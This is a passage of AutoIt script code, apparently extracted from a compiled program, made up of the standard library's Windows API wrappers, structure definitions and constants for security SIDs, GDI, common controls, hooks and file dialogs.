Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & $alen[0] + 1 & "]", $pstringsid), "Text")
DllCall("kernel32.dll", "handle", "LocalFree", "handle", $pstringsid)
Return $ssid
EndFunc
Func _security__sidtypestr($itype)
Switch $itype
Case $sidtypeuser
Return "User"
Case $sidtypegroup
Return "Group"
Case $sidtypedomain
Return "Domain"
Case $sidtypealias
Return "Alias"
Case $sidtypewellknowngroup
Return "Well Known Group"
Case $sidtypedeletedaccount
Return "Deleted Account"
Case $sidtypeinvalid
Return "Invalid"
Case $sidtypeunknown
Return "Unknown Type"
Case $sidtypecomputer
Return "Computer"
Case $sidtypelabel
Return "A mandatory integrity label SID"
Case Else
Return "Unknown SID Type"
EndSwitch
EndFunc
Func _security__stringsidtosid($ssid)
Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
Local $psid = $acall[2]
Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid)
Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]")
DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
DllCall("kernel32.dll", "handle", "LocalFree", "handle", $psid)
Return $tsid
EndFunc
Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
If @error Then Return SetError(@error, @extended, "")
If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
Return $aresult
EndFunc
Global Const $tagpoint = "struct;long X;long Y;endstruct"
Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
Global Const $tagsize = "struct;long X;long Y;endstruct"
Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
Global Const $taggdip_effectparams_blur = "float Radius; bool ExpandEdge"
Global Const $taggdip_effectparams_brightnesscontrast = "int BrightnessLevel; int ContrastLevel"
Global Const $taggdip_effectparams_colorbalance = "int CyanRed; int MagentaGreen; int YellowBlue"
Global Const $taggdip_effectparams_colorcurve = "int Adjustment; int Channel; int AdjustValue"
Global Const $taggdip_effectparams_colorlut = "byte LutB[256]; byte LutG[256]; byte LutR[256]; byte LutA[256]"
Global Const $taggdip_effectparams_huesaturationlightness = "int HueLevel; int SaturationLevel; int LightnessLevel"
Global Const $taggdip_effectparams_levels = "int Highlight; int Midtone; int Shadow"
Global Const $taggdip_effectparams_redeyecorrection = "uint NumberOfAreas; ptr Areas"
Global Const $taggdip_effectparams_sharpen = "float Radius; float Amount"
Global Const $taggdip_effectparams_tint = "int Hue; int Amount"
Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
Global Const $taggdipcolormatrix = "float m[25]"
Global Const $taggdipencoderparam = "struct;byte GUID[16];ulong NumberOfValues;ulong Type;ptr Values;endstruct"
Global Const $taggdipencoderparams = "uint Count;" & $taggdipencoderparam
Global Const $taggdiprectf = "struct;float X;float Y;float Width;float Height;endstruct"
Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
Global Const $tagnmtvitemchange = $tagnmhdr & ";uint Changed;handle hItem;uint StateNew;uint StateOld;lparam lParam;"
Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader" & ((@OSVersion = "WIN_XP") ? "" : ";" & $tagrect & ";uint uChevronState")
Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;dword_ptr Param;int_ptr String"
Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
Global Const $tagbitmapinfoheader = "struct;dword biSize;long biWidth;long biHeight;word biPlanes;word biBitCount;" & "dword biCompression;dword biSizeImage;long biXPelsPerMeter;long biYPelsPerMeter;dword biClrUsed;dword biClrImportant;endstruct"
Global Const $tagbitmapinfo = $tagbitmapinfoheader & ";dword biRGBQuad[1]"
Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
Global Const $tagguid = "struct;ulong Data1;ushort Data2;ushort Data3;byte Data4[8];endstruct"
Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
Global Const $taglogfont = "struct;long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32];endstruct"
Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
Global Const $hgdi_error = Ptr(-1)
Global Const $invalid_handle_value = Ptr(-1)
Global Const $clr_invalid = -1
Global Const $null_brush = 5
Global Const $null_pen = 8
Global Const $black_brush = 4
Global Const $dkgray_brush = 3
Global Const $dc_brush = 18
Global Const $gray_brush = 2
Global Const $hollow_brush = $null_brush
Global Const $ltgray_brush = 1
Global Const $white_brush = 0
Global Const $black_pen = 7
Global Const $dc_pen = 19
Global Const $white_pen = 6
Global Const $ansi_fixed_font = 11
Global Const $ansi_var_font = 12
Global Const $device_default_font = 14
Global Const $default_gui_font = 17
Global Const $oem_fixed_font = 10
Global Const $system_font = 13
Global Const $system_fixed_font = 16
Global Const $default_palette = 15
Global Const $mb_precomposed = 1
Global Const $mb_composite = 2
Global Const $mb_useglyphchars = 4
Global Const $ulw_alpha = 2
Global Const $ulw_colorkey = 1
Global Const $ulw_opaque = 4
Global Const $ulw_ex_noresize = 8
Global Const $wh_callwndproc = 4
Global Const $wh_callwndprocret = 12
Global Const $wh_cbt = 5
Global Const $wh_debug = 9
Global Const $wh_foregroundidle = 11
Global Const $wh_getmessage = 3
Global Const $wh_journalplayback = 1
Global Const $wh_journalrecord = 0
Global Const $wh_keyboard = 2
Global Const $wh_keyboard_ll = 13
Global Const $wh_mouse = 7
Global Const $wh_mouse_ll = 14
Global Const $wh_msgfilter = -1
Global Const $wh_shell = 10
Global Const $wh_sysmsgfilter = 6
Global Const $wpf_asyncwindowplacement = 4
Global Const $wpf_restoretomaximized = 2
Global Const $wpf_setminposition = 1
Global Const $kf_extended = 256
Global Const $kf_altdown = 8192
Global Const $kf_up = 32768
Global Const $llkhf_extended = BitShift($kf_extended, 8)
Global Const $llkhf_injected = 16
Global Const $llkhf_altdown = BitShift($kf_altdown, 8)
Global Const $llkhf_up = BitShift($kf_up, 8)
Global Const $ofn_allowmultiselect = 512
Global Const $ofn_createprompt = 8192
Global Const $ofn_dontaddtorecent = 33554432
Global Const $ofn_enablehook = 32
Global Const $ofn_enableincludenotify = 4194304
Global Const $ofn_enablesizing = 8388608
Global Const $ofn_enabletemplate = 64
Global Const $ofn_enabletemplatehandle = 128
Global Const $ofn_explorer = 524288
Global Const $ofn_extensiondifferent = 1024
Global Const $ofn_filemustexist = 4096
Global Const $ofn_forceshowhidden = 268435456
Global Const $ofn_hidereadonly = 4
Global Const $ofn_longnames = 2097152
Global Const $ofn_nochangedir = 8
Global Const $ofn_nodereferencelinks = 1048576
Global Const $ofn_nolongnames = 262144
Global Const $ofn_nonetworkbutton = 131072
Global Const $ofn_noreadonlyreturn = 32768
Global Const $ofn_notestfilecreate = 65536
Global Const $ofn_novalidate = 256
Global Const $ofn_overwriteprompt = 2
Global Const $ofn_pathmustexist = 2048
Global Const $ofn_readonly = 1
Global Const $ofn_shareaware = 16384
Global Const $ofn_showhelp = 16
Global Const $ofn_ex_noplacesbar = 1
Global Const $tmpf_fixed_pitch = 1
Global Const $tmpf_vector = 2
Global Const $tmpf_truetype = 4
Global Const $tmpf_device = 8
Global Const $duplicate_close_source = 1
Global Const $duplicate_same_access = 2
Global Const $di_mask = 1
Global Const $di_image = 2
Global Const $di_normal = 3
Global Const $di_compat = 4
Global Const $di_defaultsize = 8
Global Const $di_nomirror = 16
Global Const $display_device_attached_to_desktop = 1
Global Const $display_device_multi_driver = 2
Global Const $display_device_primary_device = 4
Global Const $display_device_mirroring_driver = 8
Global Const $display_device_vga_compatible = 16
Global Const $display_device_removable = 32
Global Const $display_device_disconnect = 33554432
Global Const $display_device_remote = 67108864
Global Const $display_device_modespruned = 134217728
Global Const $flashw_caption = 1
Global Const $flashw_tray = 2
Global Const $flashw_timer = 4
Global Const $flashw_timernofg = 12
Global Const $format_message_allocate_buffer = 256
Global Const $format_message_ignore_inserts = 512
Global Const $format_message_from_string = 1024
Global Const $format_message_from_hmodule = 2048
Global Const $format_message_from_system = 4096
Global Const $format_message_argument_array = 8192
Global Const $gw_hwndfirst = 0
Global Const $gw_hwndlast = 1
Global Const $gw_hwndnext = 2
Global Const $gw_hwndprev = 3
Global Const $gw_owner = 4
Global Const $gw_child = 5
Global Const $gw_enabledpopup = 6
Global Const $gwl_wndproc = -4
Global Const $gwl_hinstance = -6
Global Const $gwl_hwndparent = -8
Global Const $gwl_id = -12
Global Const $gwl_style = -16
Global Const $gwl_exstyle = -20
Global Const $gwl_userdata = -21
Global Const $std_cut = 0
Global Const $std_copy = 1
Global Const $std_paste = 2
Global Const $std_undo = 3
Global Const $std_redow = 4
Global Const $std_delete = 5
Global Const $std_filenew = 6
Global Const $std_fileopen = 7
Global Const $std_filesave = 8
Global Const $std_printpre = 9
Global Const $std_properties = 10
Global Const $std_help = 11
Global Const $std_find = 12
Global Const $std_replace = 13
Global Const $std_print = 14
Global Const $image_bitmap = 0
Global Const $image_icon = 1
Global Const $image_cursor = 2
Global Const $image_enhmetafile = 3
Global Const $kb_sendspecial = 0
Global Const $kb_sendraw = 1
Global Const $kb_capsoff = 0
Global Const $kb_capson = 1
Global Const $dont_resolve_dll_references = 1
Global Const $load_library_as_datafile = 2
Global Const $load_with_altered_search_path = 8
Global Const $load_ignore_code_authz_level = 16
Global Const $load_library_as_datafile_exclusive = 64
Global Const $load_library_as_image_resource = 32
Global Const $load_library_search_application_dir = 512
Global Const $load_library_search_default_dirs = 4096
Global Const $load_library_search_dll_load_dir = 256
Global Const $load_library_search_system32 = 2048
Global Const $load_library_search_user_dirs = 1024
Global Const $s_ok = 0
Global Const $e_abort = -2147467260
Global Const $e_accessdenied = -2147024891
Global Const $e_fail = -2147467259
Global Const $e_handle = -2147024890
Global Const $e_invalidarg = -2147024809
Global Const $e_nointerface = -2147467262
Global Const $e_notimpl = -2147467263
Global Const $e_outofmemory = -2147024882
Global Const $e_pointer = -2147467261
Global Const $e_unexpected = -2147418113
Global Const $lr_defaultcolor = 0
Global Const $lr_monochrome = 1
Global Const $lr_color = 2
Global Const $lr_copyreturnorg = 4
Global Const $lr_copydeleteorg = 8
Global Const $lr_loadfromfile = 16
Global Const $lr_loadtransparent = 32
Global Const $lr_defaultsize = 64
Global Const $lr_vgacolor = 128
Global Const $lr_loadmap3dcolors = 4096
Global Const $lr_createdibsection = 8192
Global Const $lr_copyfromresource = 16384
Global Const $lr_shared = 32768
Global Const $obm_trtype = 32732
Global Const $obm_lfarrowi = 32734
Global Const $obm_rgarrowi = 32735
Global Const $obm_dnarrowi = 32736
Global Const $obm_uparrowi = 32737
Global Const $obm_combo = 32738
Global Const $obm_mnarrow = 32739
Global Const $obm_lfarrowd = 32740
Global Const $obm_rgarrowd = 32741
Global Const $obm_dnarrowd = 32742
Global Const $obm_uparrowd = 32743
Global Const $obm_restored = 32744
Global Const $obm_zoomd = 32745
Global Const $obm_reduced = 32746
Global Const $obm_restore = 32747
Global Const $obm_zoom = 32748
Global Const $obm_reduce = 32749
Global Const $obm_lfarrow = 32750
Global Const $obm_rgarrow = 32751
Global Const $obm_dnarrow = 32752
Global Const $obm_uparrow = 32753
Global Const $obm_close = 32754
Global Const $obm_old_restore = 32755
Global Const $obm_old_zoom = 32756
Global Const $obm_old_reduce = 32757
Global Const $obm_btncorners = 32758
Global Const $obm_checkboxes = 32759
Global Const $obm_check = 32760
Global Const $obm_btsize = 32761
Global Const $obm_old_lfarrow = 32762
Global Const $obm_old_rgarrow = 32763
Global Const $obm_old_dnarrow = 32764
Global Const $obm_old_uparrow = 32765
Global Const $obm_size = 32766
Global Const $obm_old_close = 32767
Global Const $oic_sample = 32512
Global Const $oic_hand = 32513
Global Const $oic_ques = 32514
Global Const $oic_bang = 32515
Global Const $oic_note = 32516
Global Const $oic_winlogo = 32517
Global Const $oic_warning = $oic_bang
Global Const $oic_error = $oic_hand
Global Const $oic_information = $oic_note
Global $__g_ainprocess_winapi[64][2] = [[0, 0]]
Global $__g_awinlist_winapi[64][2] = [[0, 0]]
Global Const $__winapiconstant_wm_setfont = 48
Global Const $__winapiconstant_fw_normal = 400
Global Const $__winapiconstant_default_charset = 1
Global Const $__winapiconstant_out_default_precis = 0
Global Const $__winapiconstant_clip_default_precis = 0
Global Const $__winapiconstant_default_quality = 0
Global Const $__winapiconstant_logpixelsx = 88
Global Const $__winapiconstant_logpixelsy = 90
Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint
Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut"
Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual"
Func _winapi_attachconsole($ipid = -1)
Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $ipid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_attachthreadinput($iattach, $iattachto, $battach)
Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $battach)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_beep($ifreq = 500, $iduration = 1000)
Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop)
Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam)
Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_callwindowproc($pprevwndfunc, $hwnd, $imsg, $wparam, $lparam)
Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $pprevwndfunc, "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_clienttoscreen($hwnd, ByRef $tpoint)
Local $aret = DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint)
If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
Return $tpoint
EndFunc
Func _winapi_closehandle($hobject)
Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode)
Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_commdlgextendederror()
Local Const $cderr_dialogfailure = 65535
Local Const $cderr_findresfailure = 6
Local Const $cderr_initialization = 2
Local Const $cderr_loadresfailure = 7
Local Const $cderr_loadstrfailure = 5
Local Const $cderr_lockresfailure = 8
Local Const $cderr_memallocfailure = 9
Local Const $cderr_memlockfailure = 10
Local Const $cderr_nohinstance = 4
Local Const $cderr_nohook = 11
Local Const $cderr_notemplate = 3
Local Const $cderr_registermsgfail = 12
Local Const $cderr_structsize = 1
Local Const $fnerr_buffertoosmall = 12291
Local Const $fnerr_invalidfilename = 12290
Local Const $fnerr_subclassfailure = 12289
Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError")
If NOT @error Then
Switch $aresult[0]
Case $cderr_dialogfailure
